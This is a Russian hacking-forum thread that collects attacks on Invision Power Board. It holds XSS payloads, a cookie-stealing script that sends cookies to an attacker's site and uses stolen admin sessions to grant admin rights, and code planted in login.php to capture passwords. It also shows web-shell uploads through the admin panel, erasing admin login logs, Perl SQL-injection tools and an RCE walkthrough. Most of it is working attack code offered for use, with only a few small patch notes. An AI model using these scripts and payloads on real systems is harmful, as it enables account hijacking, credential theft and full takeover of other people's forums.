http://localhost/ipb/jscripts/folder_rte_files/module_table.php?editorid=";alert(document.cookie) ;var i="
http://localhost/ipb/jscripts/folder_rte_files/module_bbcodeloader.php?editorid=alert(document.co okie);/*&id=*/var i="
http://localhost/ipb/jscripts/folder_rte_files/module_div.php?editorid=";alert(document.cookie);v ar i="
http://localhost/ipb/jscripts/folder_rte_files/module_link.php?editorid=";alert(document.cookie); var i="
http://localhost/ipb/jscripts/folder_rte_files/module_email.php?editorid=";alert(document.cookie) ;var i="
применение:
Цитата:

<iframe src='http://localhost/ipb/jscripts/folder_rte_files/module_image.php?editorid="; alert(document.cookie);var i="' width=0 height=0 style='display:none'></iframe>
заплатка:
кидаем .htaccess файлик в папку /jscripts/folder_rte_files/ с содержанием
Цитата:

Order Deny,Allow
Deny from all
ЗЫ тестил на версии 2.2.2
ЗЗЫ не пашет при magic_quotes = On =\
PS Материал востановлен
Дата публикации: 07.06.2007, 00:07
Автор+toxa+

Jokester 26.10.2008 17:37

Cross Site Scripting vulnerability
 
Автор +toxa+

Invision Power Board 2.2.2
Cross Site Scripting

PHP код:

 # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 

#   Invision Power Board 2.2.2 Cross Site Scripting vulnerability 

# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 
#   Vendor site: http://www.invisionboard.com/ 
#   Vulnerability found by Iron (ironwarez.info) 

#   Greets to all **** Security Group members     

# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 
#   The vulnerability: 
#   Open up any php file in /jscripts/folder_rte_files 
#    See: 

    var editor_id         = <?php print '"'.trim($_REQUEST['editorid']).'";'?> 
     

#   $_REQUEST['editorid'] isn't sanitized in any way, so allows 
#   other uses to execute their own code. 
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 
#   PoC (Log cookies & run SQL query) 

#   Requirements: server supporting PHP, user account on 
#   target forum, database prefix needs to be known. 

#   Create a file called name.php on your webserver and put this code in it: 
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 

<?php 
$target 
"http://www.yourtarget.com/forum"#Target forum without trailing slash 
$prefix "ibf_"#Database prefix, default: ibf_ 
$member 22#Member id to promote 
$newgroup 4# The id of the new group to promote, normally 4 is root admin 

$ip $_SERVER['REMOTE_ADDR']; 
$referer $_SERVER['HTTP_REFERER']; 
$agent $_SERVER['HTTP_USER_AGENT']; 

$data $_GET['c']; 
$time date("Y-m-d G:i:s A"); 
$text "Time: ".$time."\nIP:".$ip."\nReferer:".$referer."\nUser-Agent:".$agent."\nCookie:".$data."\n\n"

$file fopen('log.txt' 'a'); 
fwrite($file,$text); 
fclose($file); 
if(
preg_match("/ipb_admin_session_id=([0-9a-z]{32});/",$data,$stuff)) 

print 
'<img width=0 height=0 src="'.$target.'/admin/index.php?adsess='.$stuff[1].'&act=sql&code=runsql&section=admin&query=UPDATE+ 
'
.$prefix.'members+SET 
+mgroup+%3D+%27'
.$newgroup.'%27+WHERE+id+%3D+%27'.  $member.'%27&st="></>'

?> 
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 
#    Also create a file in the same directory named "log.txt" and chmod it 777 

#    Now, create a file called script.js on your webserver, put this code in it: 

# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 

document.location="http://www.yourownsite.com/path/to/file/name.php?c="+document.cookie; 

# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 

#    And, last but not least, create a file that combines those two;) 
#    Name it blah.html and put this code in it: 
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 

<iframe border=0 src="http://www.targetforum.com/forum_folder/jscripts/folder_rte_files/module_table.php?editorid=//--></ 
script><script src=http://www.yourownsite.com/path/to/file/script.js>" width=0 height=0></iframe>

PS Материал востановлен
Дата публикации: 14.06.2007, 18:00
Автор+toxa+

Jokester 26.10.2008 18:18

залитие шела
 
Автор def_

два небольших дополнения, (мож кому полезно будет) к следующим моментам:

(к посту https://forum.antichat.ru/showpost.php?p=912327&postcount=7)

Цитата:

Если возможно изменение исходников, то для того чтоб не брутить хеши:
Создаем какую-нибудь неприметную табличку с полями id, name, password.
находим в /sources/action_public/login.php
(по умолчанию 545'ая строка):
PHP код:

$ppass=$this->ipsclass->input['PassWord'];
        
$this->ipsclass->DB->query("INSERT INTO ibf_subscriptions_import (name,pass) values('$username','$ppass')"); 


если кто-то не хочет записывать данные в БД, можно традиционно отправить их на снифер, для этого вместе вышеприведенного пишем этот код:
PHP код:

$ppass=$this->ipsclass->input['PassWord'];
$snifurl 'http://127.0.0.1/1.php?user='.$username.'&pass='.$ppass;
$fl = @fopen($snifurl"r");
@
fclose$fl ); 

(к посту https://forum.antichat.ru/showpost.php?p=912449&postcount=9)

Цитата:

4. Идём в "настройки" выбираем любую из них, жмём добавить новую настройку, и в поле "Выполнение PHP-кода до отображения или сохранения настройки:" пишем любой php код, на пример такой:

PHP код:

$linky="http://site.ru/shell.txt";
$saved="/usr/home/www/site/public_html/forum/
uploads/shell.php"
;
$from=fopen("$linky","r");
$to=fopen("$saved","w");
while(!
feof($from)){
$string=fgets($from,4096);
fputs($to,$string);
}
fclose($to);
fclose($from); 


надо в переменной $saved заменять полный путь к папке с аплоадами, на путь с вашего сервера, его можно взять или в "Основных настройках форума" или переменную переписать так:
PHP код:

$saved=ROOT_PATH "uploads/shell.php"

PS Материал востановлен
Дата публикации: 17.06.2007, 19:39
Автор def_

Jokester 26.10.2008 18:31

Заливка шела Ipb 2.2.2
 
Автор: n-000

Как то я столкнулся с такой проблемой :
Есть админка от форума IPB v2.2.2, но хотелось бы что то вроде шелла =))
Эта версия оказалась намного доработанней чем прежние и залить шелл казалось мне просто мало реальным. Но я прекрасно осознавал что в форуме с такими наворотами и настройками фсегда найдёца недоработка... мелоч, а приятно -)

Скачал себе такой двиг и начал тестить на локалхосте... вобщем зделал попытку заливки через SQL, там в форуме есть такая фича в админке, как Управление SQL во фкладке ПРОЧЕЕ !
Сработало ! заарал я и приконектился к жэртве -)
Но однако получился облом, т к конфигурация сервера на котором хостился форум более жёсткая чем у меня на локалхосте -(

Патом пробывал залить через фичу добавления смайликов и стилей ... т к я не очень дружу с хмл то порядком поиздевавшись над хмл файликами и своими нервами я бродил по админке и искал другие способы...

И тут во фкладке НАСТРОЙКИ я набрёл на функцию *Добавить настройку* и начал изучать открывшующя пагу... и тут я наткнулся на вот такие слова *Выполнение PHP-кода до отображения или сохранения настройки:* !
Это уже интересней подумал я с расплывающимся ипалом )
И первым жэ делом зделал так:
Сперва я создал настройку (задаёте произвольное название настройке, например 123) и в поле для PHP ввел вот такое
PHP код:

 $save 1до сохранения настройки
Используйте $key и $value во время написания PHP-кода
include(
'http://kaki.net/shell.txt'); 

И тут жэ снова обломался, получив сообщение от форума

+----------------------------------------------------------------+
| You cannot use executable PHP function keywords such as |
| (include, require, include_once, require_once, exec, system and passthru) |
| |
+----------------------------------------------------------------+

-Наивный албанския парень, сказал мне форум (для тех у кого плохо с англицким =))
Но тут сразу жэ задумался - а что если средствами php зделать скрипт для заливки файла, самый наипростейший и зделать простую форму отправки ... и залить шелл на сервер, снова врубил локалхост и начал пробывать ...
Задумка у меня была такой... средствами PHP создам файл в этой же дири что и админка forum/admin/ ! Например conf_ini.php .

листинг файла
PHP код:

$save=1
$scr=base64_decode('PD8NCiR1cGxvYWRkaXIgPSAnQzovdm  FyL3d3dy94eHh4eHh4eC5ydS9kYXRhL2ZvcnVtL2FkbWluLyc7DQppZiAobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbG  UnXVsndG1wX25hbWUnXSwgJHVwbG9hZGRpci4kX0ZJTEVTWydm  aWxlJ11bJ25hbWUnXSkpDQoge2VjaG8gJ/Px7+X47e4nO31lbHNle2VjaG8gJ8746OHq4Cc7fQ0KPz4='); 
$fl=fopen('conf_ini.php','w+'); 
@
fwrite($fl,$scr); 

вот кусок который я закодировал
PHP код:

<? 
$uploaddir 
'C:/var/www/xxxxxxxx.ru/data/forum/admin/'
if (@
move_uploaded_file($_FILES['file']['tmp_name'], $uploaddir.$_FILES['file']['name'])) 
 {echo 
'ну вот тебе радость';} 
else 
{echo 
'обламайся гнус';} 
?>

Тут самое главное правильно указать путь к папке админа, если вы не знаете полный путь можно посмотреть его либо функцией getcwd() либо из появившихся ошибок.

После того как скрипт сработал я почапал по адресу forum/admin/conf_ini.php и увидел надпись о том что скрипт сработал (а сработает он не удачно, т к загрузки пока нет), самое главное скрипт сработал !
Дальше я вернулся к опции настроек и изменил php код уже имеющейся (созданой) настройки на


PHP код:

 $save=1
echo 

<form enctype="multipart/form-data" method="post"  

action="http://www.xxxxxxxxx.ru/forum/admin/conf_ini.php"> 
<input type="file" name="file" size="30"><br><BR> 
<input type="submit" value="gooo"> 
</form> 
'


После того как я сохранил эту настройку, вверху поивилось поле (file) с кнопкой (gooo)... Ну и так скать процесс пошёл -) и пошёл неплохо ...
После завершения закачки я зашёл по адресу http://www.xxxxxxxxx.ru/forum/admin/shell.php
и злорадствовал =)))

---------------------------------------------------------------------------
З.Ы.Да, забыл добавить, что создав файлик не на залифку шелла а на инклуд со своей паги сервер залупился и сказал что удалёное использование скрипта через инклуд идёт нахер !

Чистим следы ...

Если вы хотите что бы админ ничего не заподозрил, то можно почистить записи о вашем прибывании в админке IP адресе нике и времени
Хнопочки или стандартной функции на очистку этих данных в админке нет (по крайней мере я не нашёл, так что еси есть нагами не пинайте)
Зделать это можно при помощи того жэ SQL на форуме -))

Идём во фкладку ПРОЧЕЕ ищем там в меню (Управление SQL -> Инструменты) и выбераем таблицу ibf_admin_login_logs, (префикс ibf стоит по умолчанию при инсталяции форума)
Дальше в поле для ввода команд базе прописываем TRUNCATE `ibf2_admin_login_logs`;
Опачки -) и записи пропали -))
PS Материал востановлен
Дата публикации: 03.08.2007, 00:33
Автор n-000

Jokester 26.10.2008 19:05

Автор: GreenBear
Цитата:

(include, require, include_once, require_once, exec, system and passthru)
if($ipclass->input['gg']) eval($ipclass->input['gg']);

shell_exec($ipclass->input['gg']);
PS Материал востановлен
Дата публикации: 03.08.2007, 01:01
Автор GreenBear

Jokester 26.10.2008 19:24

Invision Power Board <= 2.1.5 Remote Code Execution Tutorial
 
Автор: +toxa+

Invision Power Board <= 2.1.5

Remote Code Execution

PHP код:

 #!usr/bin/perl 
## Invision Power Board <= 2.1.5 Remote Code Execution Tutorial 
## By not null  
## Security Bunker Team 
## http://secbun.info 
## It is not an exploit! It is only tutorial, how to exploit a forum! 
print q
#-----------------------------------------# 
# Invision Power Board 2.x.x RCE Tutorial # 
# By Security Bunker Team | ©not null     # 
#       http://www.secbun.info            # 
#-----------------------------------------# ); 
print q
Step 1: If you are already register on the forumjust login on it
Else 
register  first ;]); 
print 
"\r\nPress enter when finished...\r\n"
$ok = <STDIN>; 

print 
q
Okwe have successful log inLet's fun ;] 
Step 2: Go to some of the forum, where you could post messages. 
Step 3: Post a message, that consist our harmful code (muahaha) 
The code is: "eval(phpinfo()); //" [without quotes] 
); 
print "\r\nPress enter when finished...\r\n"; 
$ok = <STDIN>; 
print q(When message is post, open a new page in your browser and go to the Search  
(index.php?act=search). Use the search form to find your post just by your username.  
And make sure "Show results as posts" is selected.); 
print "\r\nPress enter when finished...\r\n"; 
$ok = <STDIN>; 
print q(You must see your post, that consist our code. 
Then add to the end of the url next string:); 
print "\r\n&lastdate=z|eval.*?%20//)%23e%00\r\n"; 
print q(and press enter...); 
print "\r\nPress enter when finished...\r\n"; 
$ok = <STDIN>; 
print q(Can you see a result of phpinfo? If yes, we have successful exploited forum :-] 
So, let'
s modify our post to get a shell
But on this step we have a problemwe can't use arguments in functions (e.g. system("ls")) in such form. 
But we can use it by it'
s code (e.gsystem(chr(34).chr(108).chr(115).chr(34))) 
I'm include a simple tool, that will help you to encode you string into code. 
Just type your command, and you will get a string, that you can copy and paste into your post); 
print "\r\n"; 
$out = ""; 
while () 
 { 
    print "\r\nCommand for encode or '
exit' for exit "; 
    while(<STDIN>) 
     { 
        $cmd=$_; 
        chomp($cmd); 
        exit() if ($cmd eq '
exit); 
        
last
     } 
     
$len length($cmd); 
     for (
$i=0$i<$len$i++) 
        { 
         
$s substr($cmd,$i,1); 
         
$out.="chr(".ord($s).")"
         if(
$i != $len-1)  
            { 
             
$out.="."
            } 
           
        } 
    print 
"eval(system(".$out.").chr(59).exit()); //"
    
$out ""
 } 

PS Материал востановлен
Дата публикации: 15.08.2007, 14:58
Автор +toxa+

Jokester 26.10.2008 19:33

Passive XSS IPB <=1.3, <=2.1.6
 
Автор: blackybr

Если кто думает что xss в админах неактуальны - пусть это не читает! =)
Как раз они то нам и нужны. Какой нам прок от обычного пользователя? Подавай нам админа.

Passive XSS
IPB <=1.3
Цитата:

admin.php?adsess='><script>alert(/xek/)</script>
IPB <=2.1.6
Цитата:

/admin.php?phpinfo=<script>alert(/xek/)</script>
Также в довольно старой версии 1.2 присутствует активная ксс

Цитата:

text
will made the HTML : <span style='font-family:expression( alert(document.cookie))'>text</span>

[COLOR=expression( alert(document.cookie))] texte[/COLOR]

will made the HTML : <span style='color:expression( alert(document.cookie))'>text</span>
PS Материал востановлен
Дата публикации: 06.10.2007, 17:42
Автор blackybr

Jokester 27.10.2008 00:30

Invision Gallery <= 2.0.7 Remote SQL Injection
 
Автор: iddqd

Vulnerable: Invision Gallery <= 2.0.7

Remote SQL Injection

Exploit:

http://milw0rm.com/exploits/4966

PS Материал востановлен
Дата публикации: 23.01.2008, 15:25
Автор iddqd

Jokester 27.10.2008 17:14

Active XSS IPB<=2.3.3
 
Автор: XenOtai

IPB <-2.3.3

Цитата:

[img*]http://qw.ru/qw[url*]http://onerror=alert(/Hack/)//[/url*].jpg[/img*]
Found by XenOtai from Veronal H2S Team.

Работает в осле и лисе.

Если выдает ошибку:

THE FOLLOWING ERROR(S) WERE FOUND
Sorry, dynamic pages in the [IMG] tags are not allowed
(Динамические страницы в тегах [img] запрещены)


значит пропатчен.

PS Материал востановлен
Дата публикации: 21.11.2007, 02:42
Автор XenOtai

Jokester 27.10.2008 17:15

ibProArcade <= v3.3.0 sql injection exploit
 
Автор: +toxa+

PHP код:

#!/usr/bin/perl 

## ibProArcade <= v3.3.0 sql injection exploit 
## (c)oded by 1dt.w0lf 
## RST/GHC 

##        THIS IS UNPUBLISHED RST/GHC EXPLOIT CODE 
##                   KEEP IT PRIVATE 

use Tk
use 
Tk::BrowseEntry
use 
Tk::DialogBox
use 
LWP::UserAgent

BEGIN 
if($^
O eq 'MSWin32'){ 
require 
Win32::Console
Win32::Console::Free(); 



$mw = new MainWindow(title => "r57ibProArcade" ); 

$mw->geometry '420x310' ) ; 
$mw->resizable(0,0); 

$mw->Label(-text => '!', -font => '{Webdings} 22')->pack(); 
$mw->Label(-text => 'ibProArcade sql injection exploit by RST/GHC', -font => '{Verdana} 7 bold',-foreground=>'red')->pack(); 
$mw->Label(-text => '')->pack(); 

$fleft=$mw->Frame()->pack ( -side => 'left', -anchor => 'ne') ; 
$fright=$mw->Frame()->pack ( -side => 'left', -anchor => 'nw') ; 

$url 'http://127.0.0.1/ipb216/index.php'
$user_id '1'
$prefix 'ibf_'
$column 'member_login_key'
$report ''
$true 0
$false 0

$fleft->Label ( -text => 'Path to forum index: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ; 
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => $url) ->pack ( -side => "top" , -anchor => 'w' ) ; 

$fleft->Label ( -text => 'User ID: ', -font => '{Verdana} 8 bold' ) ->pack ( -side => "top" , -anchor => 'e' ) ; 
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => $user_id) ->pack ( -side => "top" , -anchor => 'w' ) ; 

$fleft->Label ( -text => 'Database tables prefix: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ; 
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => $prefix) ->pack ( -side => "top" , -anchor => 'w' ) ; 

$fright->Label( -text => ' ')->pack(); 
$fleft->Label( -text => ' ')->pack(); 

$fleft->Label ( -text => 'get data from database', -font => '{Verdana} 8 bold',-foreground=>'green') ->pack ( -side => "top" , -anchor => 'e' ) ; 
$fright->Label( -text => ' ')->pack(); 

$fleft->Label ( -text => 'Get data from column: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ; 
$b $fright->BrowseEntry( -relief => "groove", -variable => $column, -font => '{Verdana} 8'); 
$b->insert("end""member_login_key"); 
$b->insert("end""name"); 
$b->insert("end""ip_address"); 
$b->insert("end""legacy_password"); 
$b->insert("end""email"); 
$b->pack( -side => "top" , -anchor => 'w' ); 

$fleft->Label ( -text => 'Returned data: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ; 
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => $report) ->pack ( -side => "top" , -anchor => 'w' ) ; 


$fright->Label( -text => ' ')->pack(); 

$fright->Button(-text    => 'Test forum vulnerability'
                -
relief => "groove"
                -
width => '30'
                -
font => '{Verdana} 8 bold'
                -
activeforeground => 'red'
                -
command => &test_vuln 
               
)->pack(); 

$fright->Button(-text    => 'Get database tables prefix'
                -
relief => "groove"
                -
width => '30'
                -
font => '{Verdana} 8 bold'
                -
activeforeground => 'red'
                -
command => &get_prefix 
               
)->pack(); 

$fright->Button(-text    => 'Get data from database'
                -
relief => "groove"
                -
width => '30'
                -
font => '{Verdana} 8 bold'
                -
activeforeground => 'red'
                -
command => &get_data 
               
)->pack(); 



$fleft->Label( -text => ' ')->pack(); 
$fleft->Label( -text => '+++ PRIV8 +++', -font => '{Verdana} 7')->pack(); 
$fleft->Label( -text => '(c)oded by 1dt.w0lf', -font => '{Verdana} 7')->pack(); 
$fleft->Label( -text => 'RST/GHC', -font => '{Verdana} 7')->pack(); 

MainLoop(); 

sub get_data() 

$true = &get_true(); 

$report '';   
$s_num=1
while((
$chr = &found(0,255))!=0){ 
$report .= chr($chr); 
$mw->update(); 
$s_num++; 

if(
length($report) > 0) { &report('That\'s all ;)'); } 
else { &
report('Can\'t get data from database'); } 



sub test_vuln() 

$InfoWindow=$mw->DialogBox(-title   => 'test forum vulnerability', -buttons => ["OK"]); 
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack
$InfoWindow->add('Label', -text => $url, -font => '{Verdana} 8')->pack
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack

$true = &get_true(); 
$false = &get_false(); 

if(
$true != $false) { $InfoWindow->add('Label', -text => 'FORUM VULNERABLE', -font => '{Verdana} 8 bold',-foreground=>'red')->pack; } 
else { 
$InfoWindow->add('Label', -text => 'FORUM UNVULNERABLE', -font => '{Verdana} 8 bold',-foreground=>'green')->pack; } 

$InfoWindow->Show(); 
$InfoWindow->destroy


sub get_true() 

$xpl LWP::UserAgent->new( ) or die; 
$res $xpl->get($url."?autocom=arcade&overwrite_sort=added&overwrite_order=,(-gid*(1=1))"); 
if(
$res->as_string =~ /g=(d+)" target="hiddenframe"><img src="./arcade/images/addfav.gif"/) { $rep = $1; } 
return 
$rep


sub get_false() 

$xpl = LWP::UserAgent->new( ) or die; 
$res = $xpl->get($url."?autocom=arcade&overwrite_sort=added&overwrite_order=,(-gid*(1=2))"); 
if(
$res->as_string =~ /g=(\d+)" target="hiddenframe"><img src=".\/arcade\/images\/addfav.gif"/) { $rep = $1; } 
return 
$rep

  
sub get_prefix() 

$InfoWindow=$mw->DialogBox(-title   => 'get database tables prefix', -buttons => ["OK"]); 
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack
$InfoWindow->add('Label', -text => $url, -font => '{Verdana} 8')->pack
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack
$xpl LWP::UserAgent->new( ) or die; 
$res $xpl->get($url."?autocom=arcade&overwrite_sort=added&overwrite_order=r57r0x"); 
if(
$res->is_success
 { 
 
$rep ''
 if(
$res->as_string =~ /from (.*)games_list/) 
 { 
 
$prefix = $1
 
$InfoWindow->add('Label', -text => 'Prefix: '.$prefix, -font => '{Verdana} 8 bold')->pack
 } 
 else 
 { 
 
$InfoWindow->add('Label', -text => 'Can\'t get prefix', -font => '{Verdana} 8 bold',-foreground=>'red')->pack; } 
 } 
else 
 { 
 
$InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack
 
$InfoWindow->add('Label', -text => $res->status_line, -font => '{Verdana} 8')->pack
 } 
$InfoWindow->Show(); 
$InfoWindow->destroy;   


sub found($$) 
 { 
 
my $fmin $_[0]; 
 
my $fmax $_[1]; 
 if ((
$fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; } 
  
 
$r int($fmax - ($fmax-$fmin)/2); 
 
$check " BETWEEN $r AND $fmax"
 if ( &
check($check) ) { &found($r,$fmax); } 
 else { &
found($fmin,$r); } 
 } 
  
sub crack($$) 
 { 
 
my $cmin $_[0]; 
 
my $cmax $_[1]; 
 
$i $cmin
 while (
$i<$cmax
  { 
  
$crcheck "=$i"
  if ( &
check($crcheck) ) { return $i; } 
  
$i++; 
  } 
 
$i 0
 return 
$i
 } 
  
sub check($) 
 { 
 
$n++; 
 
$rep ''
 
$ccheck $_[0]; 
 
$xpl LWP::UserAgent->new( ) or die; 
 
$res $xpl->get($url.'?autocom=arcade',cookie=>'g_display_sort=added;g_display_order=,(-gid*(SELECT 1 FROM '.$prefix.'members WHERE (id='.$user_id.' AND ascii(substring('.$column.','.$s_num.',1))'.$cchec  k.') LIMIT 1)) LIMIT 1'); 
 if(
$res->as_string =~ /g=(d+)" target="hiddenframe"><img src="./arcade/images/addfav.gif"/) { $rep = $1; } 
 if(
$rep == $true) { return 1; } 
 else { return 0; } 
 } 
  
sub report() 

$InfoWindow=$mw->DialogBox(-title   => 'Report', -buttons => ["OK"]); 
$InfoWindow->add('Label', -text => $_[0], -font => '{Verdana} 7')->pack; 
$InfoWindow->Show(); 
$InfoWindow->destroy


PS Материал востановлен
Дата публикации: 30.01.2008, 21:01
Автор +toxa+

Jokester 27.10.2008 17:16

Invision Power Board <=v2.3.4 BBCodes XSS
 
Автор: +toxa+

добавленный кодес в class_bbcode_core.php
PHP код:

 ...................... 
                            
$match$_content ][$i] = preg_replace'#(style)=#is'"$1="$match$_content ][$i] );     
                            
$match$_option ][$i] = preg_replace'#(style)=#is'"$1="$match$_option ][$i] ); 
.......................         
        
//----------------------------------------- 
        // Don't let emos in URL.. 
        //----------------------------------------- 
         
        
if ( $this->parse_smilies 
        { 
            if ( 
count$this->ipsclass->cache['emoticons'] ) > 
            { 
                foreach( 
$this->ipsclass->cache['emoticons'] as $row
                { 
                    
$code    $row['typed']; 
                    
$code    str_replace'<''&lt;'str_replace'>''&gt;'$code ) );     
                     
                    if( 
strpos$url$code ) ) 
                    { 
                        
$new  ''
                         
                        for( 
$i=0$i<strlen($code); $i++ ) 
                        { 
                            
//print dechex(ord($code{$i})).'<Br>'; 
                            
$new .= '%' dechex(ord($code{$i})); 
                        } 
                         
                        
$url str_replace$code$new$url ); 
                    } 
                } 
                 
                
// Using the :/ smiley 
                
$url str_replace'http%3a%2f''http:/'$url ); 
            } 
        } 
         
        
$url htmlspecialchars($url); 
.......................         
        
//----------------------------------------- 
        // Don't let emos in URL.. 
        //----------------------------------------- 
         
        
if ( $this->parse_smilies 
        { 
            if ( 
count$this->ipsclass->cache['emoticons'] ) > 
            { 
                foreach( 
$this->ipsclass->cache['emoticons'] as $row
                { 
                    
$code    $row['typed']; 
                    
$code    str_replace'<''&lt;'str_replace'>''&gt;'$code ) );     
                     
                    if( 
strpos$url['html'], $code ) ) 
                    { 
                        
$new  ''
                         
                        for( 
$i=0$i<strlen($code); $i++ ) 
                        { 
                            
//print dechex(ord($code{$i})).'<Br>'; 
                            
$new .= '%' dechex(ord($code{$i})); 
                        } 
                         
                        
$url['html'] = str_replace$code$new$url['html'] ); 
                    } 
                } 
                 
                
// Using the :/ smiley 
                
$url['html'] = str_replace'http%3a%2f''http:/'$url['html'] ); 
            } 
        } 
         
         
            
$url['html'] = htmlspecialchars$url['html'] ); 
...................... 

кому интересно, думаете)

PS Материал востановлен
Дата публикации: 22.02.2008, 22:22
Автор +toxa+

Jokester 27.10.2008 17:17

XSS [Flash] in IPB v1.3, 2.1.5 и 2.2.2
 
Автор: iddqd

Vulnerable: 1.x и 2.x (тестировалось на Invision Power Board v1.3, 2.1.5 и 2.2.2).

XSS [Flash]

Из-за отсутствия защиты от исполнения JavaScript кода из flash, при включенной
поддержке флеша в сообщениях, атакующий может внедрить ссылку на специальный
флеш-файл в тело сообщения и атаковать всех участников форума, которые просмотрят
тему с данным сообщением. Атака может быть проведена через публикацию флешки в
сообщении на форуме, или установки её в качестве аватора.

PoC:
Цитата:

[flash=1,1]http://site/flash.swf[/flash]
Fix:
Для исправления данной уязвимости нужно установить свойство флеш-объекта
allowscriptaccess в "never".

PS Материал востановлен
Дата публикации: 08.03.2008, 15:14
Автор iddqd

Jokester 27.10.2008 17:18

IPB <=2.0.3 SQL-inj Exploit (c) h4cky0u
 
Автор: +toxa+

heres another sick xploit for 2.0.3 again coded by jamey224. Usally works, except for a few boards that are patched.Enjoy! (c) h4cky0u
http://h4cky0u.org/viewtopic.php?f=2&t=6110
PHP код:

 use LWP::UserAgent

   
$ua = new LWP::UserAgent
   
$ua->agent("Mosiac 1.0" $ua->agent); 

if (!
$ARGV[0]) {$ARGV[0] = '';} 
if (!
$ARGV[3]) {$ARGV[3] = '';} 

my $path $ARGV[0] . '/index.php?act=Login&CODE=autologin'
my $user $ARGV[1];   # userid to jack 
my $iver $ARGV[2];   # version 1 or 2 
my $cpre $ARGV[3];   # cookie prefix 
my $dbug $ARGV[4];   # debug? 

if (!$ARGV[2]) 

        print 
"The type of the file system is NTFS.\n\n"
        print 
"Exploit C0d3d By Jamey2244\n"
        print 
"Yes I know I'm g00d\n"
        print 
"LeTS g0!!!\n"
        exit; 


my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f"); 

my $outputs ''

for( 
$i=1$i 33$i++ ) 

        for( 
$j=0$j 16$j++ ) 
        { 
                
my $current $charset[$j]; 
            
my $sql = ( $iver ) ?  "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2  527$current%2527)/*" 
"99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i  ,1)%3d%2527$current%2527)/*"
                
my @cookie = ('Cookie' => $cpre "member_id=31337420; " $cpre "pass_hash=" $sql); 
                
my $res $ua->get($path, @cookie); 

                
# If we get a valid sql request then this 
                # does not appear anywhere in the sources 
                
$pattern '<title>(.*)Log In(.*)</title>'

                
$_ $res->content

                if (
$dbug) { print }; 

                if ( !(/
$pattern/) ) 
                { 
                        
$outputs .= $current
                        print 
"$current\n"
                    
last
                } 

        } 
  if ( 
length($outputs) < )   { print "Not Exploitable!\n"; exit;     } 

print 
"Cookie: " $cpre "member_id=" $user ";" $cpre "pass_hash=" $outputs
exit; 



PS Материал востановлен
Дата публикации: 16.03.2008, 16:02
Автор +toxa+

Jokester 27.10.2008 17:19

Invision Power Board <=2.3.x iFrame Vulnerability
 
Автор: iddqd

1)Регистрируемся
2)Заходим в свой профиль
3)Изменяем подпись(html включен):

PHP код:

<html
<
head
<
title>Заголовок</title
</
head
<
body
<
div id="iFrame1" style="position:absolute; left:0px; top:0px; z-index:0"
<
iframe name="iFrame1" width=1024 height=3186 src="http://адрес Вашей страницы.html" scrolling="no" 
frameborder="0"></iframe
</
div
</
body
</
html

4)Постим сообщение- страница форума перекрывается Вашей страницей.
Можно использовать для фейков.



PS Материал востановлен
Дата публикации: 27.03.2008, 19:01
Автор iddqd

Jokester 27.10.2008 17:20

Invision Power Board <=2.3.5 Active XSS
 
Автор: %00

Invision Power Board <=2.3.5

Active XSS

Работает в ie
Не работает в opera

1) создаем файл any.html внути него <script>alert()</script>
2) содаем пост с аттачем any.html

В версиях ниже 2.3.х может не работать...

PS Материал востановлен
Дата публикации: 20.05.2008, 15:25
Автор %00

Jokester 27.10.2008 17:21

Full path disclosure:
 
Автор: ettee

Full path disclosure:
Цитата:

ips_kernel/PEAR/Text/Diff3.php
ips_kernel/PEAR/Text/Diff/Renderer/inline.php
ips_kernel/class_db.php
ips_kernel/class_db_mysql.php
ips_kernel/class_xml.php
sources/sql/mysql_admin_queries.php
sources/sql/mysql_extra_queries.php
sources/sql/mysql_queries.php
sources/sql/mysql_subsm_queries.php
sources/loginauth/ldap/auth.php
sources/loginauth/convert/auth.php.bak
sources/loginauth/external/auth.php
sources/loginauth/ldap/auth.php
sources/classes/post/class_post_edit.php
sources/classes/post/class_post_new.php
sources/classes/post/class_post_reply.php
sources/classes/post/class_post.php
sources/classes/editor/class_editor_std.php
sources/classes/editor/class_editor_rte.php
sources/acp_loaders/acp_pages_components.php
sources/classes/bbcode/class_bbcode_legacy.php
sources/classes/bbcode/class_bbcode.php
sources/lib/search_mysql_man.php
sources/lib/search_mysql_ftext.php
sources/lib/func_usercp.php
sources/lib/search_mysql_ftext.php
sources/lib/search_mysql_man.php
sources/action_admin/member.php
sources/action_admin/paysubscriptions.php
sources/action_public/login.php
sources/action_public/messenger.php
sources/action_public/moderate.php
sources/action_public/paysubscriptions.php
sources/action_public/register.php
sources/action_public/search.php
sources/action_public/topics.php
sources/action_public/usercp.php
sources/components_acp/registration_DEPR.php
sources/handlers/han_paysubscriptions.php
Version detection:
Цитата:

jscripts/ipb_register.js
jscripts/ipb_global.js
jscripts/ips_profile_portal.js
